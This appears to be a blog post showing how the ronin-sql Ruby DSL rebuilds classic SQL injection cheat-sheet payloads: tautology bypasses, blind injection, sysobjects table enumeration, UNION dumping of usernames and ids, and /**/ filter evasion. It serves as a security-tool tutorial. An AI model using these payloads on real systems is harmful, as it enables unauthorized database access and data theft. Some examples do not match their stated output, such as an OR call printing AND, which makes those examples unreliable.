After the release of ronin-sql 1.0.0, I wondered if we could recreate RSnake's SQL Injection Cheat Sheet using the new Ronin::SQL Domain Specific Language (DSL). Let's see how far we can get.

Normal SQL Injection:

1 OR 1=1
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# => 1 OR 1=1

Normal SQL Injection using encapsulated data:

1' OR '1'='1
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { string(1) == string(1) }
puts sqli
# 1' OR '1'='1

Blind SQL Injection:

1 AND 1=1
sqli = Ronin::SQL::Injection.new
sqli.or { 1 == 1 }
puts sqli
# 1 AND 1=1

Blind SQL Injection to attempt to locate tablename by brute-force iteration through table name permutations:

1' AND 1=(SELECT COUNT(*) FROM tablenames); --
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { select(count).from(:tablenames) == 1 }
puts sqli
# 1 AND (SELECT COUNT(*) FROM tablenames)=1

Creating errors by calling non-existent tables:

1' AND non_existant_table = '1
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.and { non_existant_table == '1' }
puts sqli
# 1' AND non_existant_table='1

Dumping usernames:

' OR username IS NOT NULL OR username = '
sqli = Ronin::SQL::Injection.new(escape: :string)
sqli.or { username.is_not(null) }.or { username == '' }
puts sqli
# 1' OR username IS NOT NULL OR username='

Enumerating through database table names:

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116
sqli = Ronin::SQL::Injection.new
sqli.and {
  ascii(
    lower(
      substring(
        select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
      )
    )
  ) > 116
}
puts sqli
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116

Finding user supplied tables using the sysObjects table in SQL Server:

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --
sqli = Ronin::SQL::Injection.new
sqli.union_all {
  select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
}
puts sqli.to_sql(:terminate => true)
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--

Bypass filters by using /**/ instead of spaces:

1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users
sqli = Ronin::SQL::Injection.new
sqli.union { select(1,2,3,4,id).from(users) }
puts sqli.to_sql(:space => '/**/')
# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users

Not too shabby!